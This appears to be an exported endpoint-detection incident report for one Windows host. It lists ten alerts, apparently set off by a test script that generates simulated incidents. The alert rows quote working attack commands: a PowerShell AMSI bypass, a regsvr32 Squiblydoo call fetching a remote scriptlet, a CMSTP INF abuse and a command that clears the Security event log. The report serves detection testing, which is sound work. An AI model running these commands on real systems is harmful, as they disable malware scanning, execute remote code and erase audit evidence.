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Medium CINC-20251221-3BAB0C9D new

Aggregate ID: aggind:561559e2fcea400ba3601b74d64aa30b:4319520893

Incident Overview

Incident ID CINC-20251221-3BAB0C9D
Severity Medium (70)
Status new
Alert Count 10
Host Count 1

Timeline

First Seen 2025-12-22 02:38:24
Last Seen 2025-12-22 02:39:49
Duration 0d 0h 1m
Created 2025-12-22 08:36
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Execution AI Powered IOA Defense Evasion
Techniques:
User Execution Command and Scripting Interpreter Regsvr32 PowerShell CMSTP Indicator Removal

Affected Hosts (1)

DESKTOP-FNUMV3U

Related Alerts (10)

Severity Status Hostname Description Tactic Command Line Time
Informational new DESKTOP-FNUMV3U A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-22 02:39
High new DESKTOP-FNUMV3U A script meets the cloud-based behavioral machine learning model threshold for suspicious activity. Detection is based on code similarities to known malicious PowerShell scripts. AI Powered IOA powershell -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" 12-22 02:39
High new DESKTOP-FNUMV3U A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line. Defense Evasion regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll 12-22 02:39
High new DESKTOP-FNUMV3U A script meets the cloud-based behavioral machine learning model threshold for suspicious activity. Detection is based on code similarities to known malicious PowerShell scripts. AI Powered IOA powershell -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" 12-22 02:39
High new DESKTOP-FNUMV3U A PowerShell script attempted to bypass Microsoft's AntiMalware Scan Interface (AMSI). PowerShell exploit kits often attempt to bypass AMSI to evade detection. Review the script. Execution powershell -c "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)" 12-22 02:39
High new DESKTOP-FNUMV3U A CMSTP.exe process appears to have been supplied with a suspicious INF file. CMSTP.exe may be abused to load and execute DLLs andor COM scriptlets SCT from remote servers. Review the command line. Defense Evasion cmstp /s /ns C:\Users\User\AppData\Local\Temp\test.inf 12-22 02:39
High new DESKTOP-FNUMV3U A process removed or cleared Windows Event Logs. Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Investigate the process tree. Defense Evasion wevtutil cl Security 12-22 02:39
High new DESKTOP-FNUMV3U A process removed or cleared Windows Event Logs. Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Investigate the process tree. Defense Evasion wevtutil cl Security 12-22 02:39
High new DESKTOP-FNUMV3U A process removed or cleared Windows Event Logs. Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Investigate the process tree. Defense Evasion wevtutil cl Security 12-22 02:39
Informational new DESKTOP-FNUMV3U A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-22 02:38